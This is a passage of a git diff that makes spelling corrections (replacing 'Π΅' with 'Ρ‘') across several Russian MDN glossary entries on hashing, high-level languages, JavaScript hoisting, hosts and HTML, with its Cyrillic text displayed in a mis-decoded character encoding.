+<p>Π₯Сш-функция ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π½Π° Π²Ρ…ΠΎΠ΄ тСкстовоС сообщСниС ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹ ΠΈ Π²Ρ‹Π΄Π°Ρ‘Ρ‚ Ρ…Π΅Ρˆ фиксированной Π΄Π»ΠΈΠ½Ρ‹. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π² Ρ„ΠΎΡ€ΠΌΠ΅ 128-Π±ΠΈΡ‚Π½ΠΎΠ³ΠΎ "ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠ° ΠΏΠ°Π»ΡŒΡ†Π΅Π²" ΠΈΠ»ΠΈ "дайдТСста сообщСния". Π₯Сши ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для {{glossary("ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ")}} β€” ΠΎΠ½ΠΈ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ Ρ†Π΅Π»ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ слуТит основой для {{glossary("HMAC's")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ сообщСний.</p>
<h2 id="Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ">Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ</h2>
diff --git a/files/ru/glossary/high-level_programming_language/index.html b/files/ru/glossary/high-level_programming_language/index.html
index 60feb993a1..ad0f68f5f6 100644
--- a/files/ru/glossary/high-level_programming_language/index.html
+++ b/files/ru/glossary/high-level_programming_language/index.html
@@ -6,6 +6,6 @@ tags:
translation_of: Glossary/High-level_programming_language
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/ВысокоуровнСвый_язык_программированияprogramming_language
---
-<p>ВысокоуровнСвый язык программирования имССт <strong>ΡΡƒΡ‰Π΅ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π°Π±ΡΡ‚Ρ€Π°ΠΊΡ†ΠΈΡŽ</strong> ΠΎΡ‚ Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для простого понимания людьми ΠΈ поэтому Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΌ обСспСчСниСм. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹Ρ… языков программирования, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты СстСствСнного языка ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ (ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ) Π²Π°ΠΆΠ½Ρ‹Π΅ области Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… систСм, дСлая процСсс Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π±ΠΎΠ»Π΅Π΅ простым ΠΈ Π±ΠΎΠ»Π΅Π΅ понятным ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с языком Π±ΠΎΠ»Π΅Π΅ Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ уровня. ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ прСдоставляСмой абстракции опрСдСляСт, насколько "высокоуровнСвым являСтся" язык программирования.</p>
+<p>ВысокоуровнСвый язык программирования имССт <strong>ΡΡƒΡ‰Π΅ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π°Π±ΡΡ‚Ρ€Π°ΠΊΡ†ΠΈΡŽ</strong> ΠΎΡ‚ Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для простого понимания людьми ΠΈ поэтому Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Ρ‘Π½ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΌ обСспСчСниСм. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹Ρ… языков программирования, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты СстСствСнного языка ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ (ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ) Π²Π°ΠΆΠ½Ρ‹Π΅ области Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… систСм, дСлая процСсс Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π±ΠΎΠ»Π΅Π΅ простым ΠΈ Π±ΠΎΠ»Π΅Π΅ понятным ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с языком Π±ΠΎΠ»Π΅Π΅ Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ уровня. ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ прСдоставляСмой абстракции опрСдСляСт, насколько "высокоуровнСвым являСтся" язык программирования.</p>
<p>ИдСя языка, автоматичСски ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ Π² ΠΌΠ°ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄, Π½ΠΎ Π±Π»ΠΈΠΆΠ΅ ΠΊ чСловСчСской Π»ΠΎΠ³ΠΈΠΊΠ΅, Π±Ρ‹Π»Π° Π²Π½Π΅Π΄Ρ€Π΅Π½Π° Π² ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Π΅ Π½Π°ΡƒΠΊΠΈ Π² 1950-Ρ… Π³ΠΎΠ΄Π°Ρ…, особСнно благодаря Ρ€Π°Π±ΠΎΡ‚Π΅ <strong><a href="https://ru.wikipedia.org/wiki/%D0%91%D1%8D%D0%BA%D1%83%D1%81,_%D0%94%D0%B6%D0%BE%D0%BD">Π”ΠΆΠΎΠ½Π° Бэкуса</a> </strong>(IBM), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Ρ€ΡƒΠΊΠΎΠ²ΠΎΠ΄ΠΈΠ» ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉΒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π²ΡˆΠ΅ΠΉ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ высокоуровнСвый язык программирования: Π€ΠΎΡ€Ρ‚Ρ€Π°Π½. Π—Π° это Π½ΠΎΠ²ΠΎΠ²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Бэкус Π±Ρ‹Π» ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ΅Π½Β ΠΏΡ€Π΅ΠΌΠΈΠΈΒ Π’ΡŒΡŽΡ€ΠΈΠ½Π³Π°.</p>
diff --git a/files/ru/glossary/hoisting/index.html b/files/ru/glossary/hoisting/index.html
index a0f3683ec5..2d18ee5f4d 100644
--- a/files/ru/glossary/hoisting/index.html
+++ b/files/ru/glossary/hoisting/index.html
@@ -10,7 +10,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/ΠŸΠΎΠ΄Π½ΡΡ‚ΠΈΠ΅
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€:</h3>
-<p>Одним ΠΈΠ· прСимущСств помСщСния Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ объявлСний Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π΄ΠΎ выполнСния ΠΊΠΎΠ΄Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π΄ΠΎ Π΅Π΅ объявлСния. НапримСр:</p>
+<p>Одним ΠΈΠ· прСимущСств помСщСния Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ объявлСний Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π΄ΠΎ выполнСния ΠΊΠΎΠ΄Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π΄ΠΎ Π΅Ρ‘ объявлСния. НапримСр:</p>
<pre class="brush: js">function catName(name) {
console.log("Мою ΠΊΠΎΡˆΠΊΡƒ Π·ΠΎΠ²ΡƒΡ‚ " + name);
@@ -22,7 +22,7 @@ catName("Π’ΠΈΠ³Ρ€");
*/
</pre>
-<p>ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΉ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΊΠΎΠ΄. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² ΠΊΠΎΠ΄Π΅ Π΄ΠΎ Π΅Π΅ объявлСния:</p>
+<p>ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΉ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΊΠΎΠ΄. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² ΠΊΠΎΠ΄Π΅ Π΄ΠΎ Π΅Ρ‘ объявлСния:</p>
<pre class="brush: js">catName("Раиса");
@@ -34,7 +34,7 @@ function catName(name) {
*/
</pre>
-<p>Π”Π°ΠΆΠ΅ Ссли ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π΄ΠΎ Π΅Π΅ объявлСния, ΠΊΠΎΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. Π­Ρ‚ΠΎ происходит благодаря Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ контСкст выполнСния Π² JavaScript.</p>
+<p>Π”Π°ΠΆΠ΅ Ссли ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π΄ΠΎ Π΅Ρ‘ объявлСния, ΠΊΠΎΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. Π­Ρ‚ΠΎ происходит благодаря Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ контСкст выполнСния Π² JavaScript.</p>
<p>Β </p>
@@ -50,7 +50,7 @@ var num;
</pre>
-<p>JavaScript "ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°Π΅Ρ‚" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ объявлСниС, Π½ΠΎ Π½Π΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ. Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½ΡƒΡŽ ΠΈ ΠΏΡ€ΠΎΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ послС Π΅Π΅ использования, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>undefined</code>. Π”Π²Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π½ΠΈΠΆΠ΅ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ это ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅.<br>
+<p>JavaScript "ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°Π΅Ρ‚" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ объявлСниС, Π½ΠΎ Π½Π΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ. Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½ΡƒΡŽ ΠΈ ΠΏΡ€ΠΎΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ послС Π΅Ρ‘ использования, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>undefined</code>. Π”Π²Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π½ΠΈΠΆΠ΅ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ это ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅.<br>
Β </p>
<pre>varΒ x =Β 1;Β // Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ x
diff --git a/files/ru/glossary/host/index.html b/files/ru/glossary/host/index.html
index 06ad19cdd1..9d2ae18f70 100644
--- a/files/ru/glossary/host/index.html
+++ b/files/ru/glossary/host/index.html
@@ -10,7 +10,7 @@ tags:
translation_of: Glossary/Host
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Host
---
-<p>Π₯ост - это устройство, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΊ {{glossary("Internet", "Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚")}} (ΠΈΠ»ΠΈ локальной сСти). НСкоторыС хосты, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ {{glossary("server", "сСрвСр", "сСрвСрами")}}, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ услуги, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ обслуТиваниС Π²Π΅Π±-страниц ΠΈΠ»ΠΈ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ элСктронных писСм.</p>
+<p>Π₯ост - это устройство, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ ΠΊ {{glossary("Internet", "Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚")}} (ΠΈΠ»ΠΈ локальной сСти). НСкоторыС хосты, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ {{glossary("server", "сСрвСр", "сСрвСрами")}}, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ услуги, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ обслуТиваниС Π²Π΅Π±-страниц ΠΈΠ»ΠΈ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ элСктронных писСм.</p>
<h2 id="ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅">ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</h2>
diff --git a/files/ru/glossary/html/index.html b/files/ru/glossary/html/index.html
index 90f80103c8..b5d4b0755c 100644
--- a/files/ru/glossary/html/index.html
+++ b/files/ru/glossary/html/index.html
@@ -11,13 +11,13 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/HTML
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠ°Ρ_история">ΠšΡ€Π°Ρ‚ΠΊΠ°Ρ история</h2>
-<p>Π’ 1990 Π³ΠΎΠ΄Ρƒ, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ видСния ΠΎΒ {{glossary("World Wide Web","Π’Π΅Π±Π΅")}}, Π’ΠΈΠΌ БСрнс-Π›ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» понятиС {{glossary("Hypertext","гипСртСкста")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ ΠΎΡ„ΠΎΡ€ΠΌΠΈΠ» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ,Β Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ основанной на ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ <a href="/ru/docs/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/SGML">SGML</a>. Π“Ρ€ΡƒΠΏΠΏΠ° {{glossary("IETF")}} Π½Π°Ρ‡Π°Π»Π° Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽΒ HTML Π²Β 1993, ΠΈ послС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… набросков выпустила Π²Π΅Ρ€ΡΠΈΡŽΒ 2.0 Π²Β 1995. Π’Β 1994 БСрнс-Π›ΠΈ основал {{glossary("W3C")}} для развития Π’Π΅Π±Π°. Π’Β 1996, W3C взяло Π½Π° сСбя Ρ€Π°Π±ΠΎΡ‚Ρƒ Π½Π°Π΄ HTMLΒ ΠΈ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΎΒ "HTML 3.2 Recommendation" Π³ΠΎΠ΄ΠΎΠΌ ΠΏΠΎΠ·ΠΆΠ΅. HTML 4.0 Π±Ρ‹Π» Π²Ρ‹ΠΏΡƒΡ‰Π΅Π½ Π²Β 1999 ΠΈ стал стандартом {{glossary("ISO")}} Π² 2000.</p>
+<p>Π’ 1990 Π³ΠΎΠ΄Ρƒ, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ видСния ΠΎΒ {{glossary("World Wide Web","Π’Π΅Π±Π΅")}}, Π’ΠΈΠΌ Бёрнс-Π›ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» понятиС {{glossary("Hypertext","гипСртСкста")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ ΠΎΡ„ΠΎΡ€ΠΌΠΈΠ» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ,Β Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ основанной на ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ <a href="/ru/docs/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/SGML">SGML</a>. Π“Ρ€ΡƒΠΏΠΏΠ° {{glossary("IETF")}} Π½Π°Ρ‡Π°Π»Π° Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽΒ HTML Π²Β 1993, ΠΈ послС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… набросков выпустила Π²Π΅Ρ€ΡΠΈΡŽΒ 2.0 Π²Β 1995. Π’Β 1994 Бёрнс-Π›ΠΈ основал {{glossary("W3C")}} для развития Π’Π΅Π±Π°. Π’Β 1996, W3C взяло Π½Π° сСбя Ρ€Π°Π±ΠΎΡ‚Ρƒ Π½Π°Π΄ HTMLΒ ΠΈ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΎΒ "HTML 3.2 Recommendation" Π³ΠΎΠ΄ΠΎΠΌ ΠΏΠΎΠ·ΠΆΠ΅. HTML 4.0 Π±Ρ‹Π» Π²Ρ‹ΠΏΡƒΡ‰Π΅Π½ Π²Β 1999 ΠΈ стал стандартом {{glossary("ISO")}} Π² 2000.</p>
<p>Π’ настоящСС врСмя, W3C ΠΏΠΎΡ‡Ρ‚ΠΈ забросили Ρ€Π°Π±ΠΎΡ‚Ρƒ Π½Π°Π΄Β HTML Π² ΠΏΠΎΠ»ΡŒΠ·ΡƒΒ {{glossary("XHTML")}}, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ±ΡƒΠ΄ΠΈΠ»ΠΎ Π² 2004 году основаниС нСзависимой Π³Ρ€ΡƒΠΏΠΏΡ‹, Π½Π°Π·Π²Π°Π½Π½ΠΎΠΉ {{glossary("WHATWG")}}. Благодаря WHATWG, Ρ€Π°Π±ΠΎΡ‚Π° Π½Π°Π΄ {{glossary("HTML5")}} ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠ»Π°ΡΡŒ: Π΄Π²Π΅ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ выпустили ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊ Π²Β 2008 ΠΈ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ стандарт Π²Β 2014.</p>
<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ_ΠΈ_синтаксис">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ ΠΈ синтаксис</h2>
-<p>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ HTML - это простой тСкст,Β ΠΏΠΎΠ΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π½Π°Β {{glossary("element","элСмСнты")}}. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½Ρ‹ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌΠΈΡΡ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌΠΈΡΡ {{glossary("Tag","Ρ‚Π΅Π³Π°ΠΌΠΈ")}}. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ‚Π΅Π³ начинаСтся ΠΈ заканчиваСтся с ΡƒΠ³Π»ΠΎΠ²Ρ‹Ρ… скобок (<code>&lt;&gt;</code>). Π’Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ Ρ‚Π΅Π³ΠΈ,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ созданы Π½Π΅ для добавлСния тСкста, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β {{htmlelement("img")}}.</p>
+<p>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ HTML - это простой тСкст,Β ΠΏΠΎΠ΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π½Π°Β {{glossary("element","элСмСнты")}}. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½Ρ‹ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌΠΈΡΡ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌΠΈΡΡ {{glossary("Tag","Ρ‚Π΅Π³Π°ΠΌΠΈ")}}. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ‚Π΅Π³ начинаСтся ΠΈ заканчиваСтся с ΡƒΠ³Π»ΠΎΠ²Ρ‹Ρ… скобок (<code>&lt;&gt;</code>). Π’Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ Ρ‚Π΅Π³ΠΈ,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ созданы Π½Π΅ для добавлСния тСкста, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β {{htmlelement("img")}}.</p>
